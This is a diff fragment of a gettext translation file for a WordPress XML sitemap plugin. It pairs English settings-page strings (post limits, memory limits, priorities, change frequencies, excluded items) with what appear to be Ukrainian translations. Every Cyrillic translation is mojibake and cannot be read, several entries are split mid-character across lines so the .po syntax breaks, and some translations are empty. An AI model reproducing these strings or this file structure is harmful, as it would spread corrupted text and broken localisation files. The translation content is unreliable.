+msgstr "ÐÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÑÑÑÑÑ Ð²ÑÑÑÑÐ°Ð»ÑÐœÐžÐ¹ robots.txt ÑÐ³ÐµÐœÐµÑÐŸÐ²Ð°ÐœÐžÐ¹ WordPress. Ð ÐµÐ°Ð»ÑÐœÐŸÐ³ÐŸ ÑÐ°Ð¹Ð»Ñ robots.txt ÐÐ ÐÐÐÐÐÐÐ Ð±ÑÑÐž Ð² ÐºÐ°ÑÐ°Ð»ÐŸÐ·Ñ Ð±Ð»ÐŸÐ³Ñ!"
+
+#: sitemap-ui.php:772
+#@ sitemap
+msgid "Advanced options:"
+msgstr "ÐÐŸÐŽÐ°ÑÐºÐŸÐ²Ñ ÐŸÐ¿ÑÑÑ:"
+
+#: sitemap-ui.php:775
+#@ sitemap
+msgid "Limit the number of posts in the sitemap:"
+msgstr "ÐÐ±ÐŒÐµÐ¶ÐµÐœÐœÑ ÐºÑÐ»ÑÐºÐŸÑÑÑ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÐ¹ Ð² Sitemap:"
+
+#: sitemap-ui.php:775
+#@ sitemap
+msgid "Newer posts will be included first"
+msgstr "ÐÐŸÐ²Ñ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ ÐŒÐ°ÑÑÑ Ð±ÑÑÐž Ð²ÐºÐ»ÑÑÐµÐœÐžÐŒÐž Ð¿ÐµÑÑÐžÐŒÐž"
+
+#: sitemap-ui.php:778
+#@ sitemap
+msgid "Try to increase the memory limit to:"
+msgstr "Ð¡Ð¿ÑÐŸÐ±ÑÐ¹ÑÐµ Ð·Ð±ÑÐ»ÑÑÐžÑÐž Ð»ÑÐŒÑÑ Ð¿Ð°ÐŒ'ÑÑÑ:"
+
+#: sitemap-ui.php:778
+#@ sitemap
+msgid "e.g. \"4M\", \"16M\""
+msgstr "ÐœÐ°Ð¿ÑÐžÐºÐ»Ð°ÐŽ \"4M\", \"16M\""
+
+#: sitemap-ui.php:781
+#@ sitemap
+msgid "Try to increase the execution time limit to:"
+msgstr "Ð¡Ð¿ÑÐŸÐ±ÑÐ¹ÑÐµ Ð·Ð±ÑÐ»ÑÑÐžÑÐž Ð»ÑÐŒÑÑ ÑÐ°ÑÑ Ð²ÐžÐºÐŸÐœÐ°ÐœÐœÑ ÐŽÐŸ:"
+
+#: sitemap-ui.php:781
+#@ sitemap
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "Ñ ÑÐµÐºÑÐœÐŽÐ°Ñ
+, ÐœÐ°Ð¿ÑÐžÐºÐ»Ð°ÐŽ \"60\" Ð°Ð±ÐŸ \"0\" ÐŽÐ»Ñ ÐœÐµÐŸÐ±ÐŒÐµÐ¶ÐœÐŸÐ³ÐŸ"
+
+#: sitemap-ui.php:785
+#@ sitemap
+msgid "Include a XSLT stylesheet:"
+msgstr "ÐÐŸÐŽÐ°ÑÐž ÑÐ°Ð±Ð»ÐžÑÑ ÑÑÐžÐ»ÑÐ² XSLT:"
+
+#: sitemap-ui.php:786
+#@ sitemap
+msgid "Full or relative URL to your .xsl file"
+msgstr "ÐÐŸÐ²ÐœÐžÐ¹ Ð°Ð±ÐŸ Ð²ÑÐŽÐœÐŸÑÐœÐžÐ¹ URL ÐŽÐŸ Ð²Ð°ÑÐŸÐ³ÐŸ. XSL-ÑÐ°Ð¹Ð»Ñ"
+
+#: sitemap-ui.php:786
+#@ sitemap
+msgid "Use default"
+msgstr "ÐÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÐ²Ð°ÑÐž Ð¿Ð°ÑÐ°ÐŒÐµÑÑÐž Ð·Ð° Ð·Ð°ÐŒÐŸÐ²ÑÑÐ²Ð°ÐœÐœÑÐŒ"
+
+#: sitemap-ui.php:792
+#@ sitemap
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "Ð£Ð²ÑÐŒÐºÐœÑÑÐž ÑÑÐ°ÐœÐŽÐ°ÑÑÐœÐžÐ¹ ÑÐµÐ¶ÐžÐŒ MySQL. ÐÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÐ¹ÑÐµ ÑÐµ ÑÑÐ»ÑÐºÐž ÑÐºÑÐŸ Ð²Ðž ÐŸÑÑÐžÐŒÑÑÑÐµ Ð¿ÐŸÐŒÐžÐ»ÐºÐž Ð²ÑÐŽ MySQL. (ÐÐŸÑÑÑÐ±ÐœÐŸ ÐœÐ°Ð±Ð°Ð³Ð°ÑÐŸ Ð±ÑÐ»ÑÑÐµ Ð¿Ð°ÐŒ'ÑÑÑ!)"
+
+#: sitemap-ui.php:793
+#@ sitemap
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr "ÐÐœÐŸÐ²ÑÑÑ WordPress, Ð¿ÑÐžÐœÐ°Ð¹ÐŒÐœÑ ÐŽÐŸ 2.2,  Ð· ÑÐžÐŒ ÑÐŸÐ± ÑÐ²ÑÐŒÐºÐœÑÑÐž ÑÐ²ÐžÐŽÑÐžÐ¹ ÐŽÐŸÑÑÑÐ¿ ÐŽÐŸ MySQL "
+
+#: sitemap-ui.php:800
+#@ sitemap
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "ÐÐŸÐ±ÑÐŽÑÐ²Ð°ÑÐž ÐÐ°Ð¿Ñ ÑÐ°Ð¹ÑÑ Ñ ÑÐŸÐœÐŸÐ²ÐŸÐŒÑ ÑÐµÐ¶ÐžÐŒÑ (ÐÐ°ÐŒ ÐœÐµ ÐŽÐŸÐ²ÐµÐŽÐµÑÑÑÑ ÑÐµÐºÐ°ÑÐž, ÐºÐŸÐ»Ðž Ð²Ðž Ð·Ð±ÐµÑÐµÐ¶ÐµÑÐµ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ)"
+
+#: sitemap-ui.php:801
+#@ sitemap
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr "ÐÐœÐŸÐ²ÑÑÑ WordPress, Ð¿ÑÐžÐœÐ°Ð¹ÐŒÐœÑ ÐŽÐŸ 2.1 ÑÐŸÐ± Ð²Ð»ÑÑÐžÑÐž Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ñ Ñ ÑÐŸÐœÐŸÐ²ÐŸÐŒÑ ÑÐµÐ¶ÐžÐŒÑ "
+
+#: sitemap-ui.php:808
+#@ sitemap
+msgid "Additional pages"
+msgstr "ÐÐŸÐŽÐ°ÑÐºÐŸÐ²Ñ ÑÑÐŸÑÑÐœÐºÐž"
+
+#: sitemap-ui.php:811
+#@ sitemap
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Ð¢ÑÑ Ð²Ðž ÐŒÐŸÐ¶ÐµÑÐµ Ð²ÐºÐ°Ð·Ð°ÑÐž ÑÐ°Ð¹Ð»Ðž, Ð°Ð±ÐŸ URL-Ð°ÐŽÑÐµÑ, ÑÐºÑ Ð¿ÐŸÐ²ÐžÐœÐœÑ Ð±ÑÑÐž Ð²ÐºÐ»ÑÑÐµÐœÑ Ð² Sitemap, Ð°Ð»Ðµ ÐœÐµ ÐœÐ°Ð»ÐµÐ¶Ð°ÑÑ ÐŽÐŸ Ð±Ð»ÐŸÐ³Ñ/WordPress. <br/> ÐÐ°Ð¿ÑÐžÐºÐ»Ð°ÐŽ, ÑÐºÑÐŸ Ð²Ð°Ñ ÐŽÐŸÐŒÐµÐœ www.foo.com Ñ Ð²Ð°Ñ Ð±Ð»ÐŸÐ³ Ð·ÐœÐ°Ñ
+ÐŸÐŽÐžÑÑÑÑ ÐœÐ° www.foo.com/blog ÐŒÐŸÐ¶ÐœÐ° Ð²ÐºÐ»ÑÑÐžÑÐž Ð² Ð²Ð°ÑÑ ÐŽÐŸÐŒÐ°ÑÐœÑ ÑÑÐŸÑÑÐœÐºÑ www.foo.com"
+
+#: sitemap-ui.php:813
+#: sitemap-ui.php:992
+#: sitemap-ui.php:1006
+#: sitemap-ui.php:1015
+#@ sitemap
+msgid "Note"
+msgstr "ÐÑÐžÐŒÑÑÐºÐ°"
+
+#: sitemap-ui.php:814
+#@ sitemap
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Ð¯ÐºÑÐŸ Ð²Ð°Ñ Ð±Ð»ÐŸÐ³ Ð·ÐœÐ°Ñ
+ÐŸÐŽÐžÑÑÑÑ Ñ Ð¿ÑÐŽÐºÐ°ÑÐ°Ð»ÐŸÐ·Ñ, Ñ Ð²Ðž Ñ
+ÐŸÑÐµÑÐµ ÐŽÐŸÐŽÐ°ÑÐž ÑÑÐŸÑÑÐœÐŸÐº, ÑÐºÑ ÐœÐµ Ð² Ð±Ð»ÐŸÐ·Ñ, ÐÐž Ð¿ÐŸÐ²ÐžÐœÐœÑ ÑÐŸÐ·ÐŒÑÑÑÐžÑÐž ÑÐ²ÑÐ¹ ÑÐ°Ð¹Ð» Sitemap Ð² ÐºÐŸÑÐµÐœÐµÐ²ÐžÐ¹ ÐºÐ°ÑÐ°Ð»ÐŸÐ³ (ÐÐŸÐŽÐžÐ²ÑÑÑÑÑ ÐœÐ° \\\"ÐÑÑÑÐµ Ð·ÐœÐ°Ñ
+ÐŸÐŽÐ¶ÐµÐœÐœÑ Ð²Ð°ÑÐŸÐ³ÐŸ ÑÐ°Ð¹ÑÑ ÑÐ°Ð¹Ð»&quot;Ð ÐŸÐ·ÐŽÑÐ» ÐœÐ° ÑÑÐ¹ ÑÑÐŸÑÑÐœÑÑ) !"
+
+#: sitemap-ui.php:816
+#: sitemap-ui.php:855
+#@ sitemap
+msgid "URL to the page"
+msgstr "URL ÑÑÐŸÑÑÐœÐºÐž"
+
+#: sitemap-ui.php:817
+#@ sitemap
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "ÐÐ²ÐµÐŽÑÑÑ URL ÐŽÐ»Ñ ÑÑÐŸÑÑÐœÐºÐž. ÐÑÐžÐºÐ»Ð°ÐŽÐž: http://www.foo.com/index.html or www.foo.com/home "
+
+#: sitemap-ui.php:819
+#: sitemap-ui.php:856
+#@ sitemap
+msgid "Priority"
+msgstr "ÐÑÑÐŸÑÑÑÐµÑ"
+
+#: sitemap-ui.php:820
+#@ sitemap
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ÐÐžÐ±ÐµÑÑÑÑ Ð¿ÑÑÐŸÑÐžÑÐµÑ ÑÑÐŸÑÑÐœÐºÐž Ð² Ð¿ÐŸÑÑÐ²ÐœÑÐœÐœÑ Ð· ÑÐœÑÐžÐŒÐž ÑÑÐŸÑÑÐœÐºÐ°ÐŒÐž. ÐÐ°Ð¿ÑÐžÐºÐ»Ð°ÐŽ, Ð²Ð°ÑÐ° ÐŽÐŸÐŒÐ°ÑÐœÑ ÑÑÐŸÑÑÐœÐºÐ°, ÐŒÐŸÐ¶Ð»ÐžÐ²ÐŸ, ÐŒÐ°Ñ Ð±ÑÐ»ÑÑ Ð²ÐžÑÐŸÐºÐžÐ¹ Ð¿ÑÑÐŸÑÐžÑÐµÑ, ÐœÑÐ¶ ÑÐœÑÑ."
+
+#: sitemap-ui.php:822
+#: sitemap-ui.php:858
+#@ sitemap
+msgid "Last Changed"
+msgstr "ÐÑÑÐ°ÐœÐœÑ ÐÐŒÑÐœÐž"
+
+#: sitemap-ui.php:823
+#@ sitemap
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "ÐÐ²ÐµÐŽÑÑÑ ÐŽÐ°ÑÑ ÐŸÑÑÐ°ÐœÐœÑÐŸÐ³ÐŸ Ð·ÐŒÑÐœÐž ÑÐº Ð Ð Ð Ð -ÐÐ-ÐÐ (ÐœÐ°Ð¿ÑÐžÐºÐ»Ð°ÐŽ, 2005-12-31) (ÐœÐµ ÐŸÐ±ÐŸÐ²'ÑÐ·ÐºÐŸÐ²ÐŸ)."
+
+#: sitemap-ui.php:857
+#@ sitemap
+msgid "Change Frequency"
+msgstr "ÐÐŒÑÐœÐ° ÑÐ°ÑÑÐŸÑÐž"
+
+#: sitemap-ui.php:859
+#@ sitemap
+msgid "#"
+msgstr "â"
+
+#: sitemap-ui.php:864
+#@ sitemap
+msgid "No pages defined."
+msgstr "ÐÐµ Ð·Ð°Ð·ÐœÐ°ÑÐµÐœÐ° Ð¶ÐŸÐŽÐœÐ° ÑÑÐŸÑÑÐœÐºÐ° "
+
+#: sitemap-ui.php:869
+#@ sitemap
+msgid "Add new page"
+msgstr "ÐÐŸÐŽÐ°ÑÐž ÐœÐŸÐ²Ñ ÑÑÐŸÑÑÐœÐºÑ"
+
+#: sitemap-ui.php:874
+#@ sitemap
+msgid "Post Priority"
+msgstr "ÐÑÑÐŸÑÑÑÐµÑ ÐÑÐ±Ð»ÑÐºÐ°ÑÑÑ"
+
+#: sitemap-ui.php:876
+#@ sitemap
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "ÐÑÐŽÑ Ð»Ð°ÑÐºÐ°, Ð²ÐžÐ±ÐµÑÑÑÑ ÑÐºÐžÐ¹ Ð¿ÑÑÐŸÑÐžÑÐµÑ Ð¿ÐŸÐ²ÐžÐœÐµÐœ Ð±ÑÑÐž ÑÐŸÐ·ÑÐ°Ñ
+ÐŸÐ²Ð°ÐœÐžÐ¹ ÐŽÐ»Ñ ÐºÐŸÐ¶ÐœÐŸÑ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ :"
+
+#: sitemap-ui.php:878
+#@ sitemap
+msgid "Do not use automatic priority calculation"
+msgstr "ÐÐµ ÑÐŸÐ±ÐžÑÐž Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐœÑ ÐºÐ°Ð»ÑÐºÑÐ»ÑÑÑÑ Ð¿ÑÐžÐŸÑÑÑÐµÑÑ"
+
+#: sitemap-ui.php:878
+#@ sitemap
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "ÐÑÑ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑ, Ð±ÑÐŽÑÑÑ ÐŒÐ°ÑÐž ÑÐ°ÐºÐžÐ¹ Ð¶Ðµ Ð¿ÑÑÐŸÑÐžÑÐµÑ, ÑÐºÐžÐ¹ Ð²ÐžÐ·ÐœÐ°ÑÐµÐœÐžÐ¹ Ð² &quot;Ð¿ÑÑÐŸÑÐžÑÐµÑÐž&quot;"
+
+#: sitemap-ui.php:889
+#@ sitemap
+msgid "Location of your sitemap file"
+msgstr "ÐÑÑÑÐµ ÑÐŸÑÑÐ°ÑÑÐ²Ð°ÐœÐœÑ Ð²Ð°ÑÐŸÐ³ÐŸ ÑÐ°Ð¹Ð»Ñ Sitemap"
+
+#: sitemap-ui.php:892
+#@ sitemap
+msgid "Automatic detection"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐœÐµ Ð²ÐžÑÐ²Ð»ÐµÐœÐœÑ"
+
+#: sitemap-ui.php:896
+#@ sitemap
+msgid "Filename of the sitemap file"
+msgstr "ÐÐŒ'Ñ Sitemap ÑÐ°Ð¹Ð»Ñ"
+
+#: sitemap-ui.php:899
+#@ sitemap
+msgid "Detected Path"
+msgstr "ÐÐœÐ°Ð¹ÐŽÐµÐœÐžÐ¹ ÐÑÑÑ"
+
+#: sitemap-ui.php:899
+#@ sitemap
+msgid "Detected URL"
+msgstr "ÐÐœÐ°Ð¹ÐŽÐµÐœÐžÐ¹ URL"
+
+#: sitemap-ui.php:904
+#@ sitemap
+msgid "Custom location"
+msgstr "ÐÑÑÑÐµ ÑÐŸÐ·ÑÐ°ÑÑÐ²Ð°ÐœÐœÑ Ð·Ð°Ð·ÐœÐ°ÑÐµÐœÐµ ÐºÐŸÑÐžÑÑÑÐ²Ð°ÑÐµÐŒ"
+
+#: sitemap-ui.php:908
+#@ sitemap
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "ÐÐ±ÑÐŸÐ»ÑÑÐœÐžÐ¹ Ð°Ð±ÐŸ Ð²ÑÐŽÐœÐŸÑÐœÐžÐ¹ ÑÐ»ÑÑ
+ ÐŽÐŸ ÑÐ°Ð¹Ð»Ñ Sitemap, Ð² ÑÐŸÐŒÑ ÑÐžÑÐ»Ñ ÑÐŒ'Ñ."
+
+#: sitemap-ui.php:910
+#: sitemap-ui.php:919
+#@ sitemap
+msgid "Example"
+msgstr "ÐÑÐžÐºÐ»Ð°ÐŽ"
+
+#: sitemap-ui.php:917
+#@ sitemap
+msgid "Complete URL to the sitemap file, including name."
+msgstr "ÐÐŸÐ²ÐœÐžÐ¹ URL ÐŽÐ»Ñ ÑÐ°Ð¹Ð»Ñ Sitemap, Ð² ÑÐŸÐŒÑ ÑÐžÑÐ»Ñ ÑÐŒ'Ñ."
+
+#: sitemap-ui.php:930
+#@ sitemap
+msgid "Sitemap Content"
+msgstr "ÐÐŒÑÑÑ ÐŒÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ"
+
+#: sitemap-ui.php:936
+#@ sitemap
+msgid "Include homepage"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž ÐŽÐŸÐŒÐ°ÑÐœÑ ÑÑÐŸÑÑÐœÐºÐž"
+
+#: sitemap-ui.php:942
+#@ sitemap
+msgid "Include posts"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ"
+
+#: sitemap-ui.php:948
+#@ sitemap
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž ÐœÐ°ÑÑÑÐ¿ÐœÑ ÑÑÐŸÑÑÐœÐºÐž ÐŽÐµÐºÑÐ»ÑÐºÐŸÑ
+ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÐ¹ (Ð·Ð±ÑÐ»ÑÑÑÑ ÑÐ°Ñ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž ÑÐ° Ð²ÐžÐºÐŸÑÐžÑÑÐ°ÐœÐœÑ Ð¿Ð°ÐŒ'ÑÑÑ!)"
+
+#: sitemap-ui.php:954
+#@ sitemap
+msgid "Include static pages"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž ÑÑÐ°ÑÐžÑÐœÑ ÑÑÐŸÑÑÐœÐºÐž"
+
+#: sitemap-ui.php:960
+#@ sitemap
+msgid "Include categories"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž ÐºÐ°ÑÐµÐ³ÐŸÑÑÑ"
+
+#: sitemap-ui.php:966
+#@ sitemap
+msgid "Include archives"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž Ð°ÑÑ
+ÑÐ²Ðž"
+
+#: sitemap-ui.php:973
+#@ sitemap
+msgid "Include tag pages"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž ÑÑÐŸÑÑÐœÐºÐž ÑÐµÐ³ÑÐ²"
+
+#: sitemap-ui.php:980
+#@ sitemap
+msgid "Include author pages"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž ÑÑÐŸÑÑÐœÐºÐž Ð°Ð²ÑÐŸÑÑÐ²"
+
+#: sitemap-ui.php:988
+#@ sitemap
+msgid "Excluded items"
+msgstr ""
+"\t\n"
+"ÐÐžÐºÐ»ÑÑÐµÐœÑ Ð¿ÑÐœÐºÑÐž"
+
+#: sitemap-ui.php:990
+#@ sitemap
+msgid "Excluded categories"
+msgstr "ÐÐžÐºÐ»ÑÑÐžÑÐž ÐºÐ°ÑÐµÐ³ÐŸÑÑÑ"
+
+#: sitemap-ui.php:992
+#@ sitemap
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "ÐÐžÐºÐŸÑÐžÑÑÐ°ÐœÐœÑ ÑÑÑÑ ÑÑÐœÐºÑÑÑ  Ð·Ð±ÑÐ»ÑÑÑÑ ÑÐ°Ñ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž ÑÐ° Ð²ÐžÐºÐŸÑÐžÑÑÐ°ÐœÐœÑ Ð¿Ð°ÐŒ'ÑÑÑ!"
+
+#: sitemap-ui.php:999
+#, php-format
+#@ sitemap
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr "ÐŠÑ ÑÑÐœÐºÑÑÑ Ð²ÐžÐŒÐ°Ð³Ð°Ñ, ÑÐŸ ÐœÐ°Ð¹ÐŒÐµÐœÑÑÐµ WordPress 2.5.1, Ð²Ðž Ð²ÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÑÑÐµ %s"
+
+#: sitemap-ui.php:1002
+#@ sitemap
+msgid "Exclude posts"
+msgstr "ÐÐžÐºÐ»ÑÑÐžÑÐž Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ"
+
+#: sitemap-ui.php:1004
+#@ sitemap
+msgid "Exclude the following posts or pages:"
+msgstr "ÐÐžÐºÐ»ÑÑÐžÑÐž ÐœÐ°ÑÑÑÐ¿ÐœÑ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ Ð°Ð±ÐŸ ÑÑÐŸÑÑÐœÐºÐž:"
+
+#: sitemap-ui.php:1004
+#@ sitemap
+msgid "List of IDs, separated by comma"
+msgstr "ÐÐµÑÐµÐ»ÑÐº ID, ÑÐŸÐ·ÐŽÑÐ»ÐµÐœÐžÑ
+ ÐºÐŸÐŒÐŸÑ"
+
+#: sitemap-ui.php:1006
+#@ sitemap
+msgid "Child posts won't be excluded automatically!"
+msgstr "ÐÐŸÑÑÑÐœÑ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ ÐœÐµ Ð²ÐžÐºÐ»ÑÑÐ°ÑÑÑÑÑ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐœÐŸ!"
+
+#: sitemap-ui.php:1012
+#@ sitemap
+msgid "Change frequencies"
+msgstr "ÐÐŒÑÐœÐ° ÑÐ°ÑÑÐŸÑÐž"
+
+#: sitemap-ui.php:1016
+#@ sitemap
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "ÐÐ°Ð¹ÑÐµ ÐœÐ° ÑÐ²Ð°Ð·Ñ, ÑÐŸ Ð·ÐœÐ°ÑÐµÐœÐœÑ ÐŽÐ»Ñ ÑÑÐŸÐ³ÐŸ ÑÐµÐ³Ð° ÑÐŸÐ·Ð³Ð»ÑÐŽÐ°ÑÑÑÑÑ ÑÐº Ð¿ÑÐŽÐºÐ°Ð·ÐºÐ°, Ð° ÐœÐµ ÐºÐŸÐŒÐ°ÐœÐŽÐ°. ÐÐµÐ·Ð²Ð°Ð¶Ð°ÑÑÐž ÐœÐ° ÑÐµ, ÑÐŸ ÑÐºÐ°ÐœÐµÑÐž Ð¿ÐŸÑÑÐºÐŸÐ²ÐŸÑ ÑÐžÑÑÐµÐŒÐž Ð²ÑÐ°Ñ
+ÐŸÐ²ÑÑÑÑ ÑÑ ÑÐœÑÐŸÑÐŒÐ°ÑÑÑ Ð¿ÑÐž Ð¿ÑÐžÐ¹ÐœÑÑÑÑ ÑÑÑÐµÐœÑ, Ð²ÐŸÐœÐž ÐŒÐŸÐ¶ÑÑÑ ÑÐºÐ°ÐœÑÐ²Ð°ÑÐž ÑÑÐŸÑÑÐœÐºÐž Ð· Ð¿ÐŸÐ·ÐœÐ°ÑÐºÐŸÑ \\\"ÑÐŸÐ³ÐŸÐŽÐžÐœÐž \" ÑÑÐŽÑÐµ, ÐœÑÐ¶ ÑÑÐŸÑÑÐœÐºÐž Ð· Ð¿ÐŸÐ·ÐœÐ°ÑÐºÐŸÑ \\ \\\"ÑÐŸÑÑÑÐœÐŸ \". ÐÐŒÐŸÐ²ÑÑÐœÐŸ ÑÐ°ÐºÐŸÐ¶, ÑÐŸ ÑÐºÐ°ÐœÐµÑÐž Ð±ÑÐŽÑÑÑ Ð¿ÐµÑÑÐŸÐŽÐžÑÐœÐŸ ÑÐºÐ°ÐœÑÐ²Ð°ÑÐž ÑÑÐŸÑÑÐœÐºÐž Ð· Ð¿ÐŸÐ·ÐœÐ°ÑÐºÐŸÑ \\ \\\"ÐœÑÐºÐŸÐ»Ðž \", Ð· ÑÐžÐŒ ÑÐŸÐ± Ð²ÐŸÐœÐž ÐŒÐŸÐ³Ð»Ðž Ð·ÐœÐ°Ð¹ÑÐž ÐœÐµÑÐ¿ÐŸÐŽÑÐ²Ð°ÐœÑ Ð·ÐŒÑÐœÐž ÐœÐ° ÑÐžÑ
+ ÑÑÐŸÑÑÐœÐºÐ°Ñ
+."
+
+#: sitemap-ui.php:1022
+#: sitemap-ui.php:1079
+#@ sitemap
+msgid "Homepage"
+msgstr "ÐÐŸÐŒÐ°ÑÐœÑ ÑÑÐŸÑÑÐœÐºÐ°"
+
+#: sitemap-ui.php:1028
+#@ sitemap
+msgid "Posts"
+msgstr "ÐÑÐ»ÑÐºÐ°ÑÑÑ"
+
+#: sitemap-ui.php:1034
+#: sitemap-ui.php:1097
+#@ sitemap
+msgid "Static pages"
+msgstr "Ð¡ÑÐ°ÑÐžÑÐœÑ ÑÑÐŸÑÑÐœÐºÐž"
+
+#: sitemap-ui.php:1040
+#: sitemap-ui.php:1103
+#@ sitemap
+msgid "Categories"
+msgstr "ÐÐ°ÑÐµÑÐ³ÐŸÑÑÑ"
+
+#: sitemap-ui.php:1046
+#@ sitemap
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "ÐÐŸÑÐŸÑÐœÐžÐ¹ Ð°ÑÑ
+ÑÐ² Ð·Ð° ÑÐµÐ¹ ÐŒÑÑÑÑÑ (ÐÐŸÐ²ÐžÐœÐµÐœ Ð±ÑÑÐž ÑÐ°ÐºÐžÐŒ ÑÐ°ÐŒÐžÐŒ, ÑÐº Ð²Ð°ÑÐ° Ð³ÐŸÐ»ÐŸÐ²ÐœÐ° ÑÑÐŸÑÑÐœÐºÐ°)"
+
+#: sitemap-ui.php:1052
+#@ sitemap
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "ÐÐŸÐ¿ÐµÑÐµÐŽÐœÑ Ð°ÑÑ
+ÑÐ²Ðž (Ð·ÐŒÑÐœÑÑÑÑÑ ÑÑÐ»ÑÐºÐž ÑÐŸÐŽÑ, ÐºÐŸÐ»Ðž Ð²Ðž ÑÐµÐŽÐ°Ð³ÑÑÑÐµ ÑÑÐ°ÑÑ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ)"
+
+#: sitemap-ui.php:1059
+#: sitemap-ui.php:1116
+#@ sitemap
+msgid "Tag pages"
+msgstr "Ð¡ÑÐŸÑÑÐœÐºÐž ÑÐµÐ³ÑÐ²"
+
+#: sitemap-ui.php:1066
+#: sitemap-ui.php:1123
+#@ sitemap
+msgid "Author pages"
+msgstr "Ð¡ÑÐŸÑÑÐœÐºÐž ÐÐ²ÑÐŸÑÐ°"
+
+#: sitemap-ui.php:1074
+#@ sitemap
+msgid "Priorities"
+msgstr "ÐÑÑÐŸÑÐžÑÐµÑÐž"
+
+#: sitemap-ui.php:1085
+#@ sitemap
+msgid "Posts (If auto calculation is disabled)"
+msgstr "ÐÑÐ±Ð»ÑÐºÐ°ÑÑÑ (Ð¯ÐºÑÐŸ Ð°Ð²ÑÐŸÑÐŸÐ·ÑÐ°Ñ
+ÑÐœÐŸÐº Ð²ÑÐŽÐºÐ»ÑÑÐµÐœÐŸ)"
+
+#: sitemap-ui.php:1091
+#@ sitemap
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "ÐÑÐœÑÐŒÐ°Ð»ÑÐœÐžÐ¹  Ð¿ÑÑÐŸÑÐžÑÐµÑ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ (ÐÐ°Ð²ÑÑÑ ÑÐºÑÐŸ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐœÐžÐ¹ ÑÐŸÐ·ÑÐ°Ñ
+ÑÐœÐŸÐº Ð±ÑÐ»ÐŸ Ð²ÐºÐ»ÑÑÐµÐœÐŸ)"
+
+#: sitemap-ui.php:1109
+#@ sitemap
+msgid "Archives"
+msgstr "ÐÑÑ
+ÑÐ²Ðž"
+
+#: sitemap-ui.php:1134
+#@ sitemap
+msgid "Update options"
+msgstr "ÐÐœÐŸÐ²ÐžÑÐž ÐŸÐ¿ÑÑÑ"
+
+#: sitemap-ui.php:1135
+#@ sitemap
+msgid "Reset options"
+msgstr "Ð¡ÐºÐžÐœÑÑÐž ÐŸÐ¿ÑÑÑ"
+
+#: sitemap.php:87
+#@ sitemap
+msgid "XML-Sitemap Generator"
+msgstr "XML-ÐÐµÐœÐµÑÐ°ÑÐŸÑ ÐÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ"
+
+#: sitemap.php:87
+#@ sitemap
+msgid "XML-Sitemap"
+msgstr "XML-ÐÐ°Ð¿Ð° ÑÐ°Ð¹ÑÑ"
+
+#: sitemap.php:101
+msgid "Settings"
+msgstr ""
+
+#: sitemap.php:102
+msgid "FAQ"
+msgstr ""
+
+#: sitemap.php:103
+msgid "Support"
+msgstr ""
+
+#: sitemap.php:104
+msgid "Donate"
+msgstr ""
+
+#: sitemap.php:154
+msgid "Sitemap FAQ"
+msgstr ""
+
